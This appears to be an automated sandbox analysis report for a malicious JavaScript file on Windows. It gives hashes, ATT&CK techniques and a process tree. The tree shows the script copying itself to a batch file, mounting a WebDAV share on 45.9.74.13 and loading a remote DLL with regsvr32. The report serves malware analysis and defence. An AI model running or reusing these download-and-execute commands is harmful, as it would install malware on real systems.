92dbfd8eb28f8077c1e52c7558b58150c0107edc463c93889ed4c8c6c844fe1a

Analysis

max time kernel
95s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
10-07-2024 01:58

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General

Target

92dbfd8eb28f8077c1e52c7558b58150c0107edc463c93889ed4c8c6c844fe1a.js
Size

5KB
MD5

43adf10a2fda30c428b6aa89db8cd4f6
SHA1

551f27e39367ce3bab4b58ece0a023d6d64f9c1f
SHA256

92dbfd8eb28f8077c1e52c7558b58150c0107edc463c93889ed4c8c6c844fe1a
SHA512

654fb36540913a8b9e15ee3afa1c5aa87ba8a2544c2d55a17fe11682e3a016a761ba3a0918a5d86704bd0a5ea6495151d6085aa89418bc0645038e6912f9a57e
SSDEEP

48:MZ3w465whmayeE9DsLrkhiu6ivDJE/9boASAp6aNAFGgkdhX4XpbIS5dnF82dhkI:Mw465Mmayp9QwUQbidppEic/aIkY

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1750093773-264148664-1320403265-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4500 wrote to memory of 4608	4500	wscript.exe	81
PID 4500 wrote to memory of 4608	4500	wscript.exe	81
PID 4608 wrote to memory of 3788	4608	cmd.exe	84
PID 4608 wrote to memory of 3788	4608	cmd.exe	84
PID 4608 wrote to memory of 2708	4608	cmd.exe	85
PID 4608 wrote to memory of 2708	4608	cmd.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\92dbfd8eb28f8077c1e52c7558b58150c0107edc463c93889ed4c8c6c844fe1a.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\92dbfd8eb28f8077c1e52c7558b58150c0107edc463c93889ed4c8c6c844fe1a.js" "C:\Users\Admin\\tbhbrv.bat" && "C:\Users\Admin\\tbhbrv.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4608
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:3788
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\150.dll
    3⤵
    PID:2708

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\tbhbrv.bat

Filesize
5KB

MD5
43adf10a2fda30c428b6aa89db8cd4f6

SHA1
551f27e39367ce3bab4b58ece0a023d6d64f9c1f

SHA256
92dbfd8eb28f8077c1e52c7558b58150c0107edc463c93889ed4c8c6c844fe1a

SHA512
654fb36540913a8b9e15ee3afa1c5aa87ba8a2544c2d55a17fe11682e3a016a761ba3a0918a5d86704bd0a5ea6495151d6085aa89418bc0645038e6912f9a57e

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